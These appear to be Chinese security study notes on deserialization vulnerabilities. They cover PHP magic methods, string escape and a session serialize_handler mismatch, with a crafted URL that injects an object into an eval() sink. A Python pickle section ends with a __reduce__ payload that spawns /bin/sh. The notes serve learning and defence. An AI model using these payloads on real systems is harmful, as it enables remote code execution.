反序列化
PHP 反序列化
unserialize()
反序列化 ,serialize()
序列化
请记住,序列化他只序列化**
属性
**,不序列化方法
,这个性质就引出了两个非常重要的话题:
- 我们在反序列化的时候一定要保证在当前的作用域环境下有该类存在
- 我们在反序列化攻击的时候也就是依托类属性进行攻击
魔术方法
补充:unserialize()
反序列化一个对象成功后,会自动调用该对象的 __wakup()
;serialize()
函数会检查是否存在一个魔术方法 __sleep()
如果存在,__sleep()
方法会先被调用;unserialize()
会检查是否存在一个__wakeup()
方法。如果存在,则会先调用 *__wakeup*
方法
原生类反序列化
字符窜逃逸
PHP反序列化字符逃逸详解_php filter字符串溢出-CSDN博客
替换修改后导致序列化字符串变长 和 替换之后导致序列化字符串变短
session反序列化
简单来说php
处理器和php_serialize
处理器这两个处理器生成的序列化格式本身是没有问题的,但是如果这两个处理器混合起来用,就会造成危害
形成的原理就是在用session.serialize_handler = php_serialize
存储的字符可以引入 |
, 再用session.serialize_handler = php
格式取出$_SESSION
的值时, |
会被当成键值对的分隔符,在特定的地方会造成反序列化漏洞。
PHP session序列化机制
处理器 | 对应的存储格式 |
---|---|
php | 键名 + 竖线 + 经过 serialize() 函数反序列处理的值 |
php_binary | 键名的长度对应的 ASCII 字符 + 键名 + 经过 serialize() 函数反序列处理的值 |
php_serialize (php>=5.5.4) | 经过 serialize() 函数反序列处理的数组 |
原理 - 漏洞成因
首先创建session.php
,使用php_serialize
处理器来存储session数据
<?php
ini_set('session.serialize_handler','php_serialize');
session_start();
$_SESSION['session'] = $_GET['session'];
echo $_SESSION['session'];
?>
test.php
,使用默认php
处理器来存储session数据
<?php
session_start();
class f4ke{
public $name;
function __wakeup(){
echo "Who are you?";
}
function __destruct(){
eval($this->name);
}
}
$str = new f4ke();
?>
接着,构建URL进行访问session.php
:
# |O:4:"f4ke":1:{s:4:"name";s:10:"phpinfo();";} 是 test.php -> serialize($str) 生成的
http://www.session-serialize.com/session.php?session=|O:4:"f4ke":1:{s:4:"name";s:10:"phpinfo();";}
在session.php
程序执行,我们将|O:4:"f4ke":1:{s:4:"name";s:10:"phpinfo();";}
通过php_serialize
处理器序列化保存成PHPSESSID
文件; 由于浏览器中保存的PHPSESSID
文件名不变,当我们访问test.php
,session_start();
找到PHPSESSID
文件并使用php
处理器反序列化文件内容,识别格式即
键名 | 竖线 | 经过 serialize() 函数反序列处理的值 |
---|---|---|
a:1:{s:7:“session”;s:45:“ |
php处理器会以|作为分隔符,将O:4:"f4ke":1:{s:4:"name";s:10:"phpinfo();";}
反序列化,就会触发__wakeup()
方法,最后对象销毁执行__destruct()
方法中的eval()
函数,相当于执行如下:
$_SESSION['session'] = new f4ke();
$_SESSION['session']->name = 'phpinfo();';
我们访问test.php
,即可直接执行phpinfo()
函数
python 反序列化
https://xz.aliyun.com/t/11082?time__1311=Cq0x2Qi%3DoxgDlxGghDRmD9iDnQQ5GO0AeD
函数使用:
pickle.dump(obj,file)
将对象序列化后保存到文件pickle.load(file)
:读取文件,将文件中的序列化内容反序列化为对象pickle.dumps(obj)
将对象序列化成字符串格式的字节流pickle loads(bytes_obj)
将字符串格式的字节流反序列化为对象魔术方法:
__reduce__()
反序列化时调用__reduce_ex()__
反序列化时调用__setstate()__
反序列化时调用__getstate()__
序列化时调用基本payload
import os import pickle class Demo(object): def __reduce__(self): shell = '/bin/sh' return (os.system,(shell,)) demo = Demo() pickle.loads(pickle.dumps(demo))